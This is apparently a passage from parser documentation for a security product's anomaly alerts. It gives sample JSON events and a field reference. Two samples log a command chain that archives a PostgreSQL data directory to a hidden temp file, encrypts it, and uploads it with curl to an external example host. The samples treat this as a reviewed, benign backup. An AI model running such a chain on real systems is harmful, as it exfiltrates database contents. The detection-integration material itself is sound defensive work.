    "message": "{\"evaluation\":{\"classification\":\"configuration_change\",\"history_id\":204,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-22T08:30:00+00:00\",\"reviewed_by\":\"ops.lead\",\"status\":\"confirmed_operational_deviation\"},\"event_counts\":{\"irregular\":2,\"total\":1180},\"event_type\":\"confirmed_anomaly\",\"event_uid\":\"3be75aefd365c85d40637c3622e0b413d02cb3b1da273255242d9a690e7c0fc0\",\"group\":\"web-dmz\",\"period\":{\"end\":\"2026-09-30T20:00:00+09:00\",\"id\":51,\"label\":\"Y2026M09D30h16/h4\",\"length_hours\":4,\"start\":\"2026-09-30T16:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/31/review/51/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-09-30T15:04:41+00:00\",\"id\":31,\"job_run_id\":29,\"url\":\"https://aube-portal.example.com/admin/report/31/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":1,\"rank\":null,\"selection_ratio\":0.8,\"value\":null},\"server\":{\"name\":\"web02\",\"source_host\":\"web02.example.com\",\"type\":\"linux\"},\"severity\":\"none\",\"top_events\":[],\"users\":[],\"versions\":{\"core\":\"1.0.40\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly",
        "category": [
            "intrusion_detection"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-09-30T11:00:00Z",
        "kind": "alert",
        "reason": "Singular activity on web02.example.com during unit period Y2026M09D30h16/h4",
        "reference": "https://aube-portal.example.com/admin/report/31/view/",
        "severity": 10,
        "start": "2026-09-30T07:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/31/review/51/"
    },
    "@timestamp": "2026-10-22T08:30:00Z",
    "aube": {
        "evaluation": {
            "classification": "configuration_change",
            "history_id": 204,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-22T08:30:00+00:00",
            "reviewed_by": "ops.lead",
            "status": "confirmed_operational_deviation"
        },
        "event_counts": {
            "irregular": 2,
            "total": 1180
        },
        "event_uid": "3be75aefd365c85d40637c3622e0b413d02cb3b1da273255242d9a690e7c0fc0",
        "group": "web-dmz",
        "job_run": {
            "id": 29
        },
        "period": {
            "id": 51,
            "label": "Y2026M09D30h16/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-09-30T15:04:41+00:00",
            "id": 31
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "web02"
        },
        "severity": "none",
        "users": []
    },
    "host": {
        "hostname": "web02.example.com",
        "name": "web02.example.com",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.40"
    },
    "related": {
        "hosts": [
            "web02.example.com"
        ]
    }
}

{
    "message": "{\"evaluation\":{\"classification\":\"user_account_management\",\"history_id\":297,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-21T02:15:40+00:00\",\"reviewed_by\":\"soc.analyst1\",\"status\":\"confirmed_operational_deviation\"},\"event_counts\":{\"irregular\":5,\"total\":22874},\"event_type\":\"confirmed_anomaly\",\"event_uid\":\"31b52fb98325bc0849f24687c2b374c661191d676396722c7ef60b22e75b8de7\",\"group\":\"corp-ad\",\"period\":{\"end\":\"2026-10-20T12:00:00+09:00\",\"id\":88,\"label\":\"Y2026M10D20h00/h12\",\"length_hours\":12,\"start\":\"2026-10-20T00:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/52/review/88/\"},\"redaction\":\"executable_only\",\"report\":{\"created_at\":\"2026-10-20T15:20:17+00:00\",\"id\":52,\"job_run_id\":45,\"url\":\"https://aube-portal.example.com/admin/report/52/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":4,\"rank\":2,\"selection_ratio\":0.8,\"value\":2.94},\"server\":{\"name\":\"win-ad01\",\"source_host\":\"win-ad01.example.com\",\"type\":\"windows\"},\"severity\":\"high\",\"top_events\":[{\"command_line\":null,\"executable\":\"net.exe\",\"score\":2.94,\"severity\":\"high\",\"time\":\"2026-10-20T03:00:12.004+09:00\",\"user\":\"bob\"},{\"command_line\":null,\"executable\":\"wbadmin.exe\",\"score\":2.81,\"severity\":\"high\",\"time\":\"2026-10-20T03:00:14.391+09:00\",\"user\":\"bob\"}],\"users\":[\"bob\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-20T03:00:00Z",
        "kind": "alert",
        "reason": "Singular activity on win-ad01.example.com during unit period Y2026M10D20h00/h12",
        "reference": "https://aube-portal.example.com/admin/report/52/view/",
        "risk_score": 2.94,
        "severity": 75,
        "start": "2026-10-19T15:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/52/review/88/"
    },
    "@timestamp": "2026-10-21T02:15:40Z",
    "aube": {
        "evaluation": {
            "classification": "user_account_management",
            "history_id": 297,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-21T02:15:40+00:00",
            "reviewed_by": "soc.analyst1",
            "status": "confirmed_operational_deviation"
        },
        "event_counts": {
            "irregular": 5,
            "total": 22874
        },
        "event_uid": "31b52fb98325bc0849f24687c2b374c661191d676396722c7ef60b22e75b8de7",
        "group": "corp-ad",
        "job_run": {
            "id": 45
        },
        "period": {
            "id": 88,
            "label": "Y2026M10D20h00/h12",
            "length_hours": 12
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "executable_only",
        "report": {
            "created_at": "2026-10-20T15:20:17+00:00",
            "id": 52
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 4,
            "rank": 2,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "win-ad01"
        },
        "severity": "high",
        "top_events": {
            "command_line": [],
            "executable": [
                "net.exe",
                "wbadmin.exe"
            ]
        },
        "users": [
            "bob"
        ]
    },
    "host": {
        "hostname": "win-ad01.example.com",
        "name": "win-ad01.example.com",
        "os": {
            "type": "windows"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "name": "net.exe",
        "start": "2026-10-19T18:00:12.004000Z"
    },
    "related": {
        "hosts": [
            "win-ad01.example.com"
        ],
        "user": [
            "bob"
        ]
    },
    "user": {
        "name": "bob"
    }
}

{
    "message": "{\"evaluation\":{\"classification\":\"backup_restore\",\"history_id\":325,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-22T06:40:03+00:00\",\"reviewed_by\":\"soc.lead\",\"status\":\"false_positive\"},\"event_counts\":{\"irregular\":13,\"total\":4297},\"event_type\":\"confirmed_anomaly_withdrawn\",\"event_uid\":\"c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf\",\"group\":\"finance-prod\",\"period\":{\"end\":\"2026-10-21T12:00:00+09:00\",\"id\":74,\"label\":\"Y2026M10D21h08/h4\",\"length_hours\":4,\"start\":\"2026-10-21T08:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/47/review/74/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-21T15:12:03+00:00\",\"id\":47,\"job_run_id\":42,\"url\":\"https://aube-portal.example.com/admin/report/47/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":3,\"rank\":1,\"selection_ratio\":0.8,\"value\":3.71},\"server\":{\"name\":\"db01\",\"source_host\":\"db01.example.com\",\"type\":\"linux\"},\"severity\":\"critical\",\"top_events\":[{\"command_line\":\"tar czf /tmp/.cache.tgz /var/lib/pgsql/data\",\"executable\":\"tar\",\"score\":3.71,\"severity\":\"critical\",\"time\":\"2026-10-21T09:41:07.512+09:00\",\"user\":\"alice\"},{\"command_line\":\"openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c\",\"executable\":\"openssl\",\"score\":3.52,\"severity\":\"critical\",\"time\":\"2026-10-21T09:42:15.034+09:00\",\"user\":\"alice\"},{\"command_line\":\"curl -s -T /tmp/.c https://files.example.net/u\",\"executable\":\"curl\",\"score\":3.18,\"severity\":\"high\",\"time\":\"2026-10-21T09:43:02.880+09:00\",\"user\":\"alice\"}],\"users\":[\"alice\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly_withdrawn",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-21T03:00:00Z",
        "kind": "event",
        "reason": "Singular activity on db01.example.com during unit period Y2026M10D21h08/h4",
        "reference": "https://aube-portal.example.com/admin/report/47/view/",
        "risk_score": 3.71,
        "severity": 100,
        "start": "2026-10-20T23:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "@timestamp": "2026-10-22T06:40:03Z",
    "aube": {
        "evaluation": {
            "classification": "backup_restore",
            "history_id": 325,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-22T06:40:03+00:00",
            "reviewed_by": "soc.lead",
            "status": "false_positive"
        },
        "event_counts": {
            "irregular": 13,
            "total": 4297
        },
        "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
        "group": "finance-prod",
        "job_run": {
            "id": 42
        },
        "period": {
            "id": 74,
            "label": "Y2026M10D21h08/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-21T15:12:03+00:00",
            "id": 47
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 3,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "db01"
        },
        "severity": "critical",
        "top_events": {
            "command_line": [
                "curl -s -T /tmp/.c https://files.example.net/u",
                "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
                "tar czf /tmp/.cache.tgz /var/lib/pgsql/data"
            ],
            "executable": [
                "curl",
                "openssl",
                "tar"
            ]
        },
        "users": [
            "alice"
        ]
    },
    "host": {
        "hostname": "db01.example.com",
        "name": "db01.example.com",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
        "name": "tar",
        "start": "2026-10-21T00:41:07.512000Z"
    },
    "related": {
        "hosts": [
            "db01.example.com"
        ],
        "user": [
            "alice"
        ]
    },
    "user": {
        "name": "alice"
    }
}

{
    "message": "{\"evaluation\":{\"classification\":\"system_maintenance\",\"history_id\":331,\"previous_status\":\"under_investigation\",\"reviewed_at\":\"2026-10-22T07:10:44+00:00\",\"reviewed_by\":\"soc.lead\",\"status\":\"accepted\"},\"event_counts\":{\"irregular\":13,\"total\":4297},\"event_type\":\"confirmed_anomaly_withdrawn\",\"event_uid\":\"c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf\",\"group\":\"finance-prod\",\"period\":{\"end\":\"2026-10-21T12:00:00+09:00\",\"id\":74,\"label\":\"Y2026M10D21h08/h4\",\"length_hours\":4,\"start\":\"2026-10-21T08:00:00+09:00\",\"url\":\"https://aube-portal.example.com/admin/portal/report/47/review/74/\"},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-21T15:12:03+00:00\",\"id\":47,\"job_run_id\":42,\"url\":\"https://aube-portal.example.com/admin/report/47/view/\"},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":3,\"rank\":1,\"selection_ratio\":0.8,\"value\":3.71},\"server\":{\"name\":\"db01\",\"source_host\":\"db01.example.com\",\"type\":\"linux\"},\"severity\":\"critical\",\"top_events\":[{\"command_line\":\"tar czf /tmp/.cache.tgz /var/lib/pgsql/data\",\"executable\":\"tar\",\"score\":3.71,\"severity\":\"critical\",\"time\":\"2026-10-21T09:41:07.512+09:00\",\"user\":\"alice\"},{\"command_line\":\"openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c\",\"executable\":\"openssl\",\"score\":3.52,\"severity\":\"critical\",\"time\":\"2026-10-21T09:42:15.034+09:00\",\"user\":\"alice\"},{\"command_line\":\"curl -s -T /tmp/.c https://files.example.net/u\",\"executable\":\"curl\",\"score\":3.18,\"severity\":\"high\",\"time\":\"2026-10-21T09:43:02.880+09:00\",\"user\":\"alice\"}],\"users\":[\"alice\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "confirmed_anomaly_withdrawn",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-21T03:00:00Z",
        "kind": "event",
        "reason": "Singular activity on db01.example.com during unit period Y2026M10D21h08/h4",
        "reference": "https://aube-portal.example.com/admin/report/47/view/",
        "risk_score": 3.71,
        "severity": 100,
        "start": "2026-10-20T23:00:00Z",
        "type": [
            "info"
        ],
        "url": "https://aube-portal.example.com/admin/portal/report/47/review/74/"
    },
    "@timestamp": "2026-10-22T07:10:44Z",
    "aube": {
        "evaluation": {
            "classification": "system_maintenance",
            "history_id": 331,
            "previous_status": "under_investigation",
            "reviewed_at": "2026-10-22T07:10:44+00:00",
            "reviewed_by": "soc.lead",
            "status": "accepted"
        },
        "event_counts": {
            "irregular": 13,
            "total": 4297
        },
        "event_uid": "c48c252f59befd5dd5ce063a275feddd112acd481329c94d9f74c03c1e8a93cf",
        "group": "finance-prod",
        "job_run": {
            "id": 42
        },
        "period": {
            "id": 74,
            "label": "Y2026M10D21h08/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-21T15:12:03+00:00",
            "id": 47
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 3,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "db01"
        },
        "severity": "critical",
        "top_events": {
            "command_line": [
                "curl -s -T /tmp/.c https://files.example.net/u",
                "openssl enc -aes-256-cbc -in /tmp/.cache.tgz -out /tmp/.c",
                "tar czf /tmp/.cache.tgz /var/lib/pgsql/data"
            ],
            "executable": [
                "curl",
                "openssl",
                "tar"
            ]
        },
        "users": [
            "alice"
        ]
    },
    "host": {
        "hostname": "db01.example.com",
        "name": "db01.example.com",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "tar czf /tmp/.cache.tgz /var/lib/pgsql/data",
        "name": "tar",
        "start": "2026-10-21T00:41:07.512000Z"
    },
    "related": {
        "hosts": [
            "db01.example.com"
        ],
        "user": [
            "alice"
        ]
    },
    "user": {
        "name": "alice"
    }
}

{
    "message": "{\"evaluation\":{\"classification\":null,\"history_id\":null,\"previous_status\":null,\"reviewed_at\":null,\"reviewed_by\":null,\"status\":\"new\"},\"event_counts\":{\"irregular\":1,\"total\":1},\"event_type\":\"test\",\"event_uid\":\"075b7451708b4db2b45dcd8cc11cfbacd23ed439662618431143f53ecfed97bd\",\"group\":null,\"period\":{\"end\":\"2026-10-22T12:00:00+09:00\",\"id\":1,\"label\":\"Y2026M10D22h08/h4\",\"length_hours\":4,\"start\":\"2026-10-22T08:00:00+09:00\",\"url\":null},\"redaction\":\"none\",\"report\":{\"created_at\":\"2026-10-22T00:00:00+00:00\",\"id\":1,\"job_run_id\":null,\"url\":null},\"schema_version\":\"1.0\",\"score\":{\"periods_flagged\":1,\"rank\":1,\"selection_ratio\":0.8,\"value\":1.0},\"server\":{\"name\":\"aube-portal.example.com\",\"source_host\":\"aube-portal.example.com\",\"type\":\"linux\"},\"severity\":\"info\",\"top_events\":[{\"command_line\":\"echo AUBE Portal test event\",\"executable\":\"echo\",\"score\":1.0,\"severity\":\"info\",\"time\":\"2026-10-22T09:00:00.000+09:00\",\"user\":\"testuser\"}],\"users\":[\"testuser\"],\"versions\":{\"core\":\"1.0.41.9\",\"portal\":\"1.1.0-beta20\"}}",
    "event": {
        "action": "test",
        "category": [
            "intrusion_detection",
            "process"
        ],
        "dataset": "aube.anomalies",
        "end": "2026-10-22T03:00:00Z",
        "kind": "event",
        "risk_score": 1.0,
        "severity": 10,
        "start": "2026-10-21T23:00:00Z",
        "type": [
            "info"
        ]
    },
    "@timestamp": "2026-10-22T00:00:00Z",
    "aube": {
        "evaluation": {
            "status": "new"
        },
        "event_counts": {
            "irregular": 1,
            "total": 1
        },
        "event_uid": "075b7451708b4db2b45dcd8cc11cfbacd23ed439662618431143f53ecfed97bd",
        "period": {
            "id": 1,
            "label": "Y2026M10D22h08/h4",
            "length_hours": 4
        },
        "portal": {
            "version": "1.1.0-beta20"
        },
        "redaction": "none",
        "report": {
            "created_at": "2026-10-22T00:00:00+00:00",
            "id": 1
        },
        "schema_version": "1.0",
        "score": {
            "periods_flagged": 1,
            "rank": 1,
            "selection_ratio": 0.8
        },
        "server": {
            "name": "aube-portal.example.com"
        },
        "severity": "info",
        "top_events": {
            "command_line": [
                "echo AUBE Portal test event"
            ],
            "executable": [
                "echo"
            ]
        },
        "users": [
            "testuser"
        ]
    },
    "host": {
        "hostname": "aube-portal.example.com",
        "name": "aube-portal.example.com",
        "os": {
            "type": "linux"
        }
    },
    "observer": {
        "product": "AUBE",
        "vendor": "AUBE Security",
        "version": "1.0.41.9"
    },
    "process": {
        "command_line": "echo AUBE Portal test event",
        "name": "echo",
        "start": "2026-10-22T00:00:00Z"
    },
    "related": {
        "hosts": [
            "aube-portal.example.com"
        ],
        "user": [
            "testuser"
        ]
    },
    "user": {
        "name": "testuser"
    }
}

Extracted Fields

The following table lists the fields that are extracted, normalized under the ECS format, analyzed and indexed by the parser. It should be noted that infered fields are not listed.

Name	Type	Description
@timestamp	date	Date/time when the event originated.
aube.evaluation.classification	keyword	Analyst classification of the period in AUBE Portal
aube.evaluation.history_id	long	AUBE Portal evaluation history record of the confirmation or withdrawal
aube.evaluation.previous_status	keyword	Evaluation status before the change that produced the event
aube.evaluation.reviewed_at	date	Time of the last evaluation in AUBE Portal
aube.evaluation.reviewed_by	keyword	AUBE Portal user who confirmed the period, or withdrew the confirmation
aube.evaluation.status	keyword	Analyst evaluation status in AUBE Portal (new, under_investigation, confirmed_operational_deviation, false_positive, resolved, accepted, approved)
aube.event_counts.irregular	long	Number of irregular events AUBE Core counted in the period
aube.event_counts.total	long	Total number of events in the period
aube.event_uid	keyword	Stable identifier of the unit period in AUBE Portal, shared by a confirmation and its withdrawal (Sekoia sets event.id itself)
aube.group	keyword	AUBE Portal server group the report belongs to
aube.job_run.id	long	AUBE Portal analysis run that produced the report
aube.period.id	long	AUBE Portal identifier of the unit period
aube.period.label	keyword	AUBE Core unit period label, e.g. Y2026M10D21h08/h4 (start date and hour, then length in hours)
aube.period.length_hours	long	Length of the unit period in hours
aube.portal.version	keyword	AUBE Portal version that exported the event
aube.redaction	keyword	Command-line redaction applied by AUBE Portal (none, or executable_only when arguments were removed)
aube.report.created_at	date	Time the AUBE Portal report holding the period was created
aube.report.id	long	AUBE Portal report identifier (one report per server per analysis run)
aube.schema_version	keyword	Version of the AUBE Portal event schema (Sekoia event schema) the event follows
aube.score.periods_flagged	long	Number of unit periods AUBE Core flagged in the same report
aube.score.rank	long	Rank of the period by singularity score among the flagged periods of its report (1 = most singular)
aube.score.selection_ratio	float	AUBE Core lists a period's events whose score is at least this fraction of the period's top score
aube.server.name	keyword	Name of the server in AUBE Portal, chosen by the operator; it may differ from the server's hostname (host.hostname) or address (host.ip)
aube.severity	keyword	Highest severity among the period's commands (critical, high, medium, low, info, or none when no command is in the severity map)
aube.top_events.command_line	array	Command lines of the period's most singular commands (empty when the portal sends executables only)
aube.top_events.executable	array	Executables of the period's most singular commands
aube.users	array	Every user active in the unit period
event.action	keyword	The action captured by the event.
event.category	keyword	Event category. The second categorization field in the hierarchy.
event.dataset	keyword	Name of the dataset.
event.end	date	event.end contains the date when the event ended or when the activity was last observed.
event.kind	keyword	The kind of the event. The highest categorization field in the hierarchy.
event.reason	keyword	Reason why this event happened, according to the source
event.reference	keyword	Event reference URL
event.risk_score	float	Risk score or priority of the event (e.g. security solutions). Use your system's original value here.
event.start	date	event.start contains the date when the event started or when the activity was first observed.
event.type	keyword	Event type. The third categorization field in the hierarchy.
event.url	keyword	Event investigation URL
host.hostname	keyword	Hostname of the host.
host.ip	ip	Host ip addresses.
host.name	keyword	Name of the host.
host.os.type	keyword	Which commercial OS family (one of: linux, macos, unix or windows).
observer.product	keyword	The product name of the observer.
observer.vendor	keyword	Vendor name of the observer.
observer.version	keyword	Observer version.
process.command_line	wildcard	Full command line that started the process.
process.executable	keyword	Absolute path to the process executable.
process.name	keyword	Process name.
process.start	date	The time the process started.
user.domain	keyword	Name of the directory the user is a member of.
user.name	keyword	Short name or login of the user.

For more information on the Intake Format, please find the code of the Parser, Smart Descriptions, and Supported Events here.